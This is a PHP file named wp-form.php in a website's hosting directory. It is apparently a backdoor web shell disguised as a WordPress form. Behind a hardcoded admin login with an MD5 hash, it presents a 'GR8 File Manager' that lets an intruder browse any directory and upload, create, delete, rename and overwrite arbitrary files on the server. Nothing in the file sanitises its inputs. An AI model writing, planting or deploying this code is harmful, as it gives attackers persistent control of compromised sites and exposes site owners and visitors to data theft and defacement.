/home/bdqbpbxa/goodface.agency/wp-form.php
<?php
session_start();
$USERNAME = 'admin';
$PASSWORD_HASH = 'e4db63edff21ac5738f6289d765d6a0f';
if (!isset($_SESSION['logged_in'])) {
if (isset($_POST['user'], $_POST['pass'])) {
if ($_POST['user'] === $USERNAME && md5($_POST['pass']) === $PASSWORD_HASH) {
$_SESSION['logged_in'] = true;
header('Location: ' . $_SERVER['PHP_SELF']);
exit;
} else {
$login_error = 'Username atau password salah';
}
}
echo '
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login | Admin Panel</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fortawesome/fontawesome-free/css/all.min.css">
<style>body {background: #f4f4f4;} .login-box {margin-top: 100px;}</style>
</head>
<body>
<div class="container">
<div class="row justify-content-center">
<div class="col-md-4">
<div class="card login-box">
<div class="card-header text-center">
<strong>Login Admin</strong>
</div>
<div class="card-body">
<p class="text-danger">' . ($login_error ?? '') . '</p>
<form method="post">
<div class="form-group">
<input name="user" type="text" class="form-control" placeholder="Username" required>
</div>
<div class="form-group">
<input name="pass" type="password" class="form-control" placeholder="Password" required>
</div>
<button type="submit" class="btn btn-primary btn-block">Login</button>
</form>
</div>
</div>
</div>
</div>
</div>
</body>
</html>';
exit;
}
error_reporting(0);
function formatSize($size) {
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$power = $size > 0 ? floor(log($size, 1024)) : 0;
return number_format($size / pow(1024, $power), 2) . ' ' . $units[$power];
}
function formatDate($file) {
return date("Y-m-d H:i:s", filemtime($file));
}
$dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$parentDir = dirname($dir);
// HTML START
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>GR8 File Manager</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@4.6.2/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body class="bg-light">
<div class="container my-4">
<div class="d-flex justify-content-between mb-3">
<h4>GR8 File Manager</h4>
<a href="?dir=<?php echo getcwd(); ?>" class="btn btn-secondary btn-sm">Home</a>
</div>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<?php
$dirParts = explode('/', $dir);
$dirPath = '';
foreach ($dirParts as $key => $part) {
$dirPath .= $part . '/';
if ($key < count($dirParts) - 1) {
echo "<li class='breadcrumb-item'><a href='?dir=$dirPath'>$part</a></li>";
} else {
echo "<li class='breadcrumb-item active' aria-current='page'>$part</li>";
}
}
?>
</ol>
</nav>
<?php if ($dir != getcwd()) echo "<a href='?dir=$parentDir' class='btn btn-outline-secondary btn-sm mb-3'>⬅ Back</a>"; ?>
<form method="POST" enctype="multipart/form-data" class="mb-3">
<div class="input-group">
<div class="custom-file">
<input type="file" name="file" class="custom-file-input" id="fileInput">
<label class="custom-file-label" for="fileInput">Choose file</label>
</div>
<div class="input-group-append">
<button class="btn btn-outline-primary" type="submit" name="upload">Upload</button>
</div>
</div>
</form>
<form method="POST" class="mb-4">
<div class="input-group">
<input type="text" name="newFileName" class="form-control" placeholder="New filename (e.g., baru.txt)" required>
<div class="input-group-append">
<button type="submit" name="createFile" class="btn btn-outline-success">Buat File</button>
</div>
</div>
</form>
<table class="table table-bordered table-striped">
<thead class="thead-dark">
<tr>
<th>Nama</th>
<th>Ukuran</th>
<th>Terakhir Diubah</th>
<th>Aksi</th>
</tr>
</thead>
<tbody>
<?php
$files = scandir($dir);
foreach ($files as $file) {
if ($file == '.' || $file == '..') continue;
$path = $dir . '/' . $file;
echo "<tr>";
if (is_dir($path)) {
echo "<td><a href='?dir=$path'><strong>$file</strong></a></td><td>Folder</td><td>-</td>";
} else {
echo "<td><a href='$path'>$file</a></td><td>" . formatSize(filesize($path)) . "</td><td>" . formatDate($path) . "</td>";
}
echo "<td>";
echo "<a href='?delete=$path&dir=$dir' class='btn btn-danger btn-sm' onclick='return confirm(\"Delete this?\")'>Delete</a> ";
echo "<form method='POST' class='d-inline'>";
echo "<input type='hidden' name='oldname' value='$path'>";
echo "<input type='text' name='newname' value='$file' class='form-control form-control-sm d-inline' style='width:auto;'>";
echo "<input type='submit' value='Rename' class='btn btn-warning btn-sm'>";
echo "</form> ";
if (is_file($path)) {
echo "<a href='?edit=$path&dir=$dir' class='btn btn-info btn-sm'>Edit</a>";
}
echo "</td></tr>";
}
?>
</tbody>
</table>
</div>
</body>
</html>
<?php
if (isset($_POST['createFile'])) {
$newFileName = $_POST['newFileName'];
$newFilePath = $dir . '/' . $newFileName;
if (!file_exists($newFilePath)) {
file_put_contents($newFilePath, "");
echo "<script>alert('File created successfully!');window.location='?dir=$dir';</script>";
} else {
echo "<script>alert('File already exists!');</script>";
}
}
if (isset($_POST['upload'])) {
move_uploaded_file($_FILES['file']['tmp_name'], $dir . '/' . $_FILES['file']['name']);
echo "<script>alert('File uploaded successfully!');window.location='?dir=$dir';</script>";
}
if (isset($_GET['delete'])) {
if (is_file($_GET['delete'])) {
unlink($_GET['delete']);
} else {
rmdir($_GET['delete']);
}
echo "<script>alert('Deleted successfully!');window.location='?dir=$dir';</script>";
}
if (isset($_POST['newname'])) {
rename($_POST['oldname'], $dir . '/' . $_POST['newname']);
echo "<script>alert('Renamed successfully!');window.location='?dir=$dir';</script>";
}
if (isset($_GET['edit'])) {
$fileToEdit = $_GET['edit'];
$fileContent = file_get_contents($fileToEdit);
if (isset($_POST['save'])) {
file_put_contents($fileToEdit, $_POST['content']);
echo "<script>alert('File saved successfully!');window.location='?dir=$dir';</script>";
}
echo "<div class='container my-4'><h4>Edit File: $fileToEdit</h4>";
echo "<form method='POST'><textarea name='content' rows='20' class='form-control'>$fileContent</textarea><br>";
echo "<button type='submit' name='save' class='btn btn-primary'>Save Changes</button></form></div>";
exit;
}
?>